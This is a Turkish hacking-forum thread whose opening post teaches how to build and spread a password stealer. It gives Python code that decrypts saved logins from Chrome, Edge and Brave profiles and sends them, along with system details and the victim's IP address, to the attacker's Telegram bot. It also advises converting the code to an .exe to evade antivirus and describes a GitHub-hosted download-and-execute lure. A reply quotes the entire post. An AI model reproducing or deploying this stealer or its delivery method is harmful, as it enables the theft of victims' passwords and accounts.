Hoşgeldin Misafir

Password Stealer ve Link Oluşturma Operasyonu

xS0N3R

23 أغسطس 2020
5,427 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Merhabalar, bugün size password stealler ile ilgili iki farklı konu anlatıcam ilk olarak bir kişinin kullandığı tarayıcıdaki kayıtlı kullanıcı adı ve şifrelerini alacağız. Size kodun biraz mantığından bahsetmek istiyorum. Kod, kişinin kullandığı Brave, Edge ve Chrome tarayıcılarında açılmış tüm profilleri tarayarak kayıtlı verileri alır ve aldığı bilgileri Telegram botuna aktarır. İsterseniz koda geçelim.

Virustotelde taratmayin lutfen

Python:
def decrypt_password(password, key):
    try:
        iv = password[3:15]
        password = password[15:]
        cipher = AES.new(key, AES.MODE_GCM, iv)
        return cipher.decrypt(password)[:-16].decode()
    except Exception:
        try:
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except Exception:
            return ""

def send_telegram_document(bot_token, chat_id, document_file, filename="browser_data.json"):
    url = f"https://api.telegram.org/bot{bot_token}/sendDocument"
    files = {'document': (filename, document_file)}
    params = {
        "chat_id": chat_id,
    }
    try:
        response = requests.post(url, params=params, files=files)
        response.raise_for_status()
        print("")
    except requests.exceptions.RequestException as e:
        print(f"")

def send_telegram_message(bot_token, chat_id, text):
    url = f"https://api.telegram.org/bot{bot_token}/sendMessage"
    data = {"chat_id": chat_id, "text": text}
    try:
        response = requests.post(url, data=data)
        response.raise_for_status()
        print("")
    except requests.exceptions.RequestException as e:
        print(f"")

def get_system_info():
  
    system_name = platform.node()       
    os_name = platform.system()         
    os_version = platform.version()     
    date_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    try:
        ip_address = requests.get("https://api.ipify.org").text
    except Exception:
        ip_address = "Unavailable"
  
    info = (
        f"🖥️ Sistem Bilgileri:\n"
        f"🔹 Sistem Adı: {system_name}\n"
        f"🛠️ İşletim Sistemi: {os_name}\n"
        f"📦 Sürüm: {os_version}\n"
        f"⏰ Tarih ve Saat: {date_time}\n"
        f"🌐 IP Adresi: {ip_address}"
    )
    return info

def fetch_credentials(profile_path, key):
    db_path = os.path.join(profile_path, "Login Data")
    if not os.path.exists(db_path):
        return []

    filename = "ChromeData.db"
    shutil.copyfile(db_path, filename)
    db = sqlite3.connect(filename)
    cursor = db.cursor()
    cursor.execute(
        "SELECT origin_url, action_url, username_value, password_value, date_created, date_last_used FROM logins ORDER BY date_created"
    )

    credentials = []
    for row in cursor.fetchall():
        origin_url = row[0]
        action_url = row[1]
        username = row[2]
        password = decrypt_password(row[3], key)
        if username or password:
            credentials.append({
                "Origin URL": origin_url,
                "Action URL": action_url,
                "Username": username,
                "Password": password
            })

    cursor.close()
    db.close()
    try:
        os.remove(filename)
    except Exception:
        pass

    return credentials

def main():
    bot_token = 'unutmayın'
    chat_id = 'unutmayın'

    browsers = ["Chrome", "Edge", "Brave"]
    all_data = []

    for browser in browsers:
        key = encryption_key(browser)
        if key is None:
            continue

        if browser == "Chrome":
            user_data_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data")
        elif browser == "Edge":
            user_data_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Microsoft", "Edge", "User Data")
        elif browser == "Brave":
            user_data_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "BraveSoftware", "Brave-Browser", "User Data")

        profiles = [os.path.join(user_data_path, p) for p in os.listdir(user_data_path)
                    if os.path.isdir(os.path.join(user_data_path, p)) and (p == "Default" or p.startswith("Profile"))]

        browser_data = {"Browser": browser, "Profiles": []}

        for profile in profiles:
            profile_name = os.path.basename(profile)
            credentials = fetch_credentials(profile, key)
            profile_data = {
                "Profile": profile_name,
                "Credentials": credentials
            }
            browser_data["Profiles"].append(profile_data)

        all_data.append(browser_data)

    if all_data:
  
        system_info = get_system_info()
        send_telegram_message(bot_token, chat_id, system_info)
      
      
        json_data = json.dumps(all_data, indent=4)
        bytes_io = io.BytesIO(json_data.encode('utf-8'))
        send_telegram_document(bot_token, chat_id, bytes_io)

if __name__ == "__main__":
    main()

Ve işte Telegram'a gönderilen veriler

o1tssm4.png


Gördüğünüz gibi, kod bu şekilde. Unutmayın, bot token ve chat ID'nizi de eklemelisiniz. Tabii ki her şey bu kadar değil. Eğer kurbana bu şekilde gönderirseniz, işlem çalışmayacaktır. Kodu PyInstaller kullanarak .exe'ye çevirebilirsiniz. İşte bu da Antivirüs sonuçları.

Kleenscan.com

2) İkinci kısımda, otomatik bir link oluşturup kurban linke gittiğinde bizim exe dosyamız indirilecek. Tabii bu işlem için bir koda ihtiyacımız var. Mantık şu şekilde: Kodu verdiğimiz linke gidip zip dosyasını indirecek ve içinde daha önce hazırladığımız .exe dosyasını çıkarıp çalıştıracak. İşlem bitince her şeyi silecek. Bu kadar basit. Şimdi koda geçelim.

=) Koda geçmeden önce, linki nasıl oluşturacağımızı önce anlatayım.

"Ziplediğimiz dosyayı GitHub'a yükleyin, ancak unutmayın, dosya public olmalı ve boyutu 25 MB'yi geçmemeli. Projeye dosyayı yükledikten sonra, projeye girip 'RAW' kısmındaki URL'yi kopyalayacaksınız. İşte, otomatik indirme linki hazır

şimdi sıra kodda



kodun çalışma şekli *
  • Zip dosyasını indirir.
  • Zip dosyasını çıkarır.
  • Çıkartılan .exe dosyasını çalıştırır.
  • Bir süre bekledikten sonra dosyaları siler.
 

efereis1

8 أبريل 2025
132 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Merhabalar, bugün size password stealler ile ilgili iki farklı konu anlatıcam ilk olarak bir kişinin kullandığı tarayıcıdaki kayıtlı kullanıcı adı ve şifrelerini alacağız. Size kodun biraz mantığından bahsetmek istiyorum. Kod, kişinin kullandığı Brave, Edge ve Chrome tarayıcılarında açılmış tüm profilleri tarayarak kayıtlı verileri alır ve aldığı bilgileri Telegram botuna aktarır. İsterseniz koda geçelim.

Virustotelde taratmayin lutfen

Python:
def decrypt_password(password, key):
    try:
        iv = password[3:15]
        password = password[15:]
        cipher = AES.new(key, AES.MODE_GCM, iv)
        return cipher.decrypt(password)[:-16].decode()
    except Exception:
        try:
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except Exception:
            return ""

def send_telegram_document(bot_token, chat_id, document_file, filename="browser_data.json"):
    url = f"https://api.telegram.org/bot{bot_token}/sendDocument"
    files = {'document': (filename, document_file)}
    params = {
        "chat_id": chat_id,
    }
    try:
        response = requests.post(url, params=params, files=files)
        response.raise_for_status()
        print("")
    except requests.exceptions.RequestException as e:
        print(f"")

def send_telegram_message(bot_token, chat_id, text):
    url = f"https://api.telegram.org/bot{bot_token}/sendMessage"
    data = {"chat_id": chat_id, "text": text}
    try:
        response = requests.post(url, data=data)
        response.raise_for_status()
        print("")
    except requests.exceptions.RequestException as e:
        print(f"")

def get_system_info():
 
    system_name = platform.node()      
    os_name = platform.system()        
    os_version = platform.version()    
    date_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    try:
        ip_address = requests.get("https://api.ipify.org").text
    except Exception:
        ip_address = "Unavailable"
 
    info = (
        f"🖥️ Sistem Bilgileri:\n"
        f"🔹 Sistem Adı: {system_name}\n"
        f"🛠️ İşletim Sistemi: {os_name}\n"
        f"📦 Sürüm: {os_version}\n"
        f"⏰ Tarih ve Saat: {date_time}\n"
        f"🌐 IP Adresi: {ip_address}"
    )
    return info

def fetch_credentials(profile_path, key):
    db_path = os.path.join(profile_path, "Login Data")
    if not os.path.exists(db_path):
        return []

    filename = "ChromeData.db"
    shutil.copyfile(db_path, filename)
    db = sqlite3.connect(filename)
    cursor = db.cursor()
    cursor.execute(
        "SELECT origin_url, action_url, username_value, password_value, date_created, date_last_used FROM logins ORDER BY date_created"
    )

    credentials = []
    for row in cursor.fetchall():
        origin_url = row[0]
        action_url = row[1]
        username = row[2]
        password = decrypt_password(row[3], key)
        if username or password:
            credentials.append({
                "Origin URL": origin_url,
                "Action URL": action_url,
                "Username": username,
                "Password": password
            })

    cursor.close()
    db.close()
    try:
        os.remove(filename)
    except Exception:
        pass

    return credentials

def main():
    bot_token = 'unutmayın'
    chat_id = 'unutmayın'

    browsers = ["Chrome", "Edge", "Brave"]
    all_data = []

    for browser in browsers:
        key = encryption_key(browser)
        if key is None:
            continue

        if browser == "Chrome":
            user_data_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data")
        elif browser == "Edge":
            user_data_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Microsoft", "Edge", "User Data")
        elif browser == "Brave":
            user_data_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "BraveSoftware", "Brave-Browser", "User Data")

        profiles = [os.path.join(user_data_path, p) for p in os.listdir(user_data_path)
                    if os.path.isdir(os.path.join(user_data_path, p)) and (p == "Default" or p.startswith("Profile"))]

        browser_data = {"Browser": browser, "Profiles": []}

        for profile in profiles:
            profile_name = os.path.basename(profile)
            credentials = fetch_credentials(profile, key)
            profile_data = {
                "Profile": profile_name,
                "Credentials": credentials
            }
            browser_data["Profiles"].append(profile_data)

        all_data.append(browser_data)

    if all_data:
 
        system_info = get_system_info()
        send_telegram_message(bot_token, chat_id, system_info)
     
     
        json_data = json.dumps(all_data, indent=4)
        bytes_io = io.BytesIO(json_data.encode('utf-8'))
        send_telegram_document(bot_token, chat_id, bytes_io)

if __name__ == "__main__":
    main()

Ve işte Telegram'a gönderilen veriler

o1tssm4.png


Gördüğünüz gibi, kod bu şekilde. Unutmayın, bot token ve chat ID'nizi de eklemelisiniz. Tabii ki her şey bu kadar değil. Eğer kurbana bu şekilde gönderirseniz, işlem çalışmayacaktır. Kodu PyInstaller kullanarak .exe'ye çevirebilirsiniz. İşte bu da Antivirüs sonuçları.

Kleenscan.com

2) İkinci kısımda, otomatik bir link oluşturup kurban linke gittiğinde bizim exe dosyamız indirilecek. Tabii bu işlem için bir koda ihtiyacımız var. Mantık şu şekilde: Kodu verdiğimiz linke gidip zip dosyasını indirecek ve içinde daha önce hazırladığımız .exe dosyasını çıkarıp çalıştıracak. İşlem bitince her şeyi silecek. Bu kadar basit. Şimdi koda geçelim.

=) Koda geçmeden önce, linki nasıl oluşturacağımızı önce anlatayım.

"Ziplediğimiz dosyayı GitHub'a yükleyin, ancak unutmayın, dosya public olmalı ve boyutu 25 MB'yi geçmemeli. Projeye dosyayı yükledikten sonra, projeye girip 'RAW' kısmındaki URL'yi kopyalayacaksınız. İşte, otomatik indirme linki hazır

şimdi sıra kodda

*** Gizli metin: alıntı yapılamaz. ***


kodun çalışma şekli *
  • Zip dosyasını indirir.
  • Zip dosyasını çıkarır.
  • Çıkartılan .exe dosyasını çalıştırır.
  • Bir süre bekledikten sonra dosyaları siler.
eline sağlıkk reis